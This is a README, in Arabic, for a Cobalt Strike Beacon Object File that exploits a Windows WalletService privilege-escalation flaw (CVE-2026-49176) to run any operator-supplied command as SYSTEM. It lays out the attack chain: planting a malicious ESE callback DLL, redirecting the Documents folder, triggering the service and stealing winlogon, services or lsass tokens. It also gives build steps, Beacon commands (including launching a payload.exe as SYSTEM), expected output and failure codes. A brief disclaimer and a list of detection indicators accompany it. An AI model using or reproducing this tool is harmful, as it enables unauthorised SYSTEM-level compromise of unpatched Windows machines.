## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-777ERP-CVE-2026-49176_BOF
# CVE-2026-49176 Cobalt Strike BOF
ملف **Beacon Object File (BOF)** خاص بـ Cobalt Strike لتصعيد الامتيازات المحلية عبر خدمة **WalletService** في ويندوز (**CVE-2026-49176** ، تم إصلاحه في يوليو 2026).
من خلال Beacon بسلامة متوسطة (مستخدم قياسي)، تقوم هذه الأداة بتجهيز قاعدة بيانات ESE خبيثة لـ Wallet، وإعادة توجيه مجلد Documents، وتحفيز WalletService، وتشغيل **سطر أوامر يحدده المستدعي** بصلاحيات **`NT AUTHORITY\SYSTEM`** على **سطح المكتب التفاعلي**.
> **نسخة BOF فقط.**
> الـ PoC الأصلي المستقل بـ PowerShell: DavidCarliez/CVE-2026-49176_LPE_POC. نفس السبب الجذري للثغرة؛ طريقة توصيل مختلفة وإطلاق عملية مختلف بعد SYSTEM.
* * *
## إخلاء مسؤولية
لأغراض البحث الأمني المصرح به والتعليم والتحقق الدفاعي فقط.
* * *
## الثغرة (مشتركة مع الـ PoC الأصلي)
يقوم WalletService بحل `FOLDERID_Documents` أثناء انتحال هوية المستدعي، ثم يعود إلى **LocalSystem** قبل فتح:
root@kitploit:~
<Documents>\Wallet\wallet.db
يمكن لمستخدم قياسي زرع رد اتصال **افتراضي معرّف من المستخدم** خاص بـ ESE (`PATH\payload.dll!Export`) في تلك القاعدة، وتوجيه مجلد Documents إلى دليل يتحكم فيه، واستدعاء WinRT `WalletManager.RequestStoreAsync` / `GetItemsAsync` بحيث تقوم الخدمة بتحميل الـ DLL **بصلاحيات SYSTEM**.
الشرح التقني: CVE-2026-49176 Exploit Development: WalletService to SYSTEM
* * *
## الـ BOF مقابل الـ PoC الأصلي — مسار تصعيد الامتيازات
### المتشابه: كيفية الحصول على تنفيذ كود بصلاحيات SYSTEM
root@kitploit:~
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
المرحلة| الـ PoC الأصلي| هذا الـ BOF
---|---|---
زرع قاعدة بيانات ESE| `wallet_ese_seed.exe`| داخل الـ BOF `Jet*A`
إعادة توجيه Documents| `documents_path.exe`| داخل الـ BOF `SHGet/SetKnownFolderPath`
تحفيز Wallet| PowerShell WinRT| داخل الـ BOF `RoGetActivationFactory`
DLL رد الاتصال| `wallet_callback_shell.dll`| `wallet_callback.dll`
### الاختلاف: عملية SYSTEM تفاعلية بعد رد الاتصال
غالبًا ما يستخدم WalletService **رمز SYSTEM مُصفّى** (بدون `SeAssignPrimaryToken` / `SeImpersonate` قابلين للاستخدام). الاستدعاء المباشر لـ `CreateProcess*` يؤدي إلى **1314**.
| الـ PoC الأصلي| هذا الـ BOF
---|---|---
العملية الهدف| `cmd.exe` مثبّتة في الكود| **سطر أوامر يوفره المشغّل**
الأسلوب الأساسي| **خدمة** مؤقتة ← `shell_broker.exe` ← `CreateProcessAsUserW`| **سرقة رمز** من `winlogon` / `services` / `lsass` ← إطلاق
الأسلوب الاحتياطي| لا يوجد| SCM + `cmd.exe /c "shell_broker.exe" "result.txt"`
root@kitploit:~
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
* * *
## الميزات
* أمر Beacon واحد لتشغيل أي أمر/ملف بصلاحيات SYSTEM على سطح المكتب النشط
* السلسلة كاملة داخل العملية: تجهيز ← زرع ← إعادة توجيه ← تحفيز ← انتظار ← استعادة Documents
* تضمين `wallet_callback.dll` \+ `shell_broker.exe` عبر `bof_pack("bbZ")`
* إطلاق متعدد الاستراتيجيات بعد SYSTEM + تشخيصات `result.txt`
* x64 فقط
* * *
## المتطلبات
البند| المتطلب
---|---
Beacon| **x64** ، سلامة متوسطة (**غير مرتفعة**)
الهدف| WalletService المتأثر بالثغرة (قبل تصحيح يوليو 2026)
CS| Cobalt Strike 4.x مع دعم BOF
البناء| VS 2019/2022 C++ + Windows 10 SDK (`esent.h`, WinRT)
* * *
## هيكل الملفات
root@kitploit:~
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
* * *
## البناء
root@kitploit:~
cd bof
build.bat
الأمر| المخرجات
---|---
`build.bat` / `build.bat both`| DLL + broker + x64 BOF
`build.bat payload`| DLL + broker فقط
`build.bat clean`| حذف الملفات الناتجة
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
عدّل مسارات `VCVARS64` في `build.bat` إذا كان VS غير مثبت في المسار الافتراضي.
أعلام حرجة: `/DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od` (سلامة رابط CS BOF).
* * *
## الاستخدام
### التحميل
Cobalt Strike → **Scripts** → **Load** → `cve2026_49176.cna`
(أعد التحميل بعد كل إعادة بناء.)
### الأوامر
root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
* لا حاجة لعلامات الاقتباس الخارجية إذا كان المسار لا يحتوي على مسافات.
* قائمة اختيارية: Beacon → **CVE-2026-49176** → **Run command as SYSTEM...**
### التجهيز على الهدف
root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
### التضمين
root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
* * *
## المخرجات المتوقعة
### سطر المهمة
root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
### النجاح (مثال توضيحي)
root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
قد تكون قيمة `detail=` إما `winlogon` أو `services` أو `lsass` أو مسار broker.
### حالات الفشل الشائعة
السجل| المعنى
---|---
`JetAddColumn: -1003`| مشكلة في معاملات ESE
`error=1314`| SYSTEM مُصفّى؛ يلزم سرقة رمز أو broker
`STEAL_FAIL error=5`| تعذّر فتح العملية/الرمز المستهدف
`StartService error=32`| انتهاك مشاركة (يُخفَّف عبر غلاف cmd)
`detail=all_methods`| فشلت جميع استراتيجيات ما بعد SYSTEM
الرابط `Unknown symbol '??_C@_...'`| أعلام بناء BOF خاطئة؛ أعد البناء باستخدام `build.bat`
يتم استعادة مجلد Documents حتى عند الفشل إذا نجحت إعادة التوجيه.
* * *
## البنية
root@kitploit:~
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
* * *
## سطح الاكتشاف
* تغيير مجلد Documents المعروف
* `%LOCALAPPDATA%\CVE-2026-49176-BOF\*` \+ `wallet.db` \+ DLL رد الاتصال
* تحميل WalletService لـ DLL قابل للكتابة من المستخدم
* `OpenProcess` / واجهات API الخاصة بالرموز ضد winlogon/lsass/services
* خدمات قصيرة العمر `CVE49176_*`
* `CreateProcessAsUserW` / `CreateProcessWithTokenW` نحو جلسات تفاعلية
* * *
## القيود
* x64 فقط؛ يتطلب WalletService غير مُصحَّح
* قد تكون واجهة WinRT الخاصة بـ Wallet غير متاحة/مُهملة في بعض الإصدارات
* لا يتم حذف دليل التجهيز تلقائيًا
* يعمل ESE/WinRT **داخل Beacon** (خطر تعطّل مقارنة بالـ PoC الأصلي المعزول في عملية مستقلة)
* * *
## مواضيع ذات صلة
الرابط| الوصف
---|---
DavidCarliez/CVE-2026-49176_LPE_POC| الـ PoC الأصلي المستقل لتصعيد الامتيازات المحلية (PoC بحثي من المنبع)
الشرح التقني| المقال البحثي الأصلي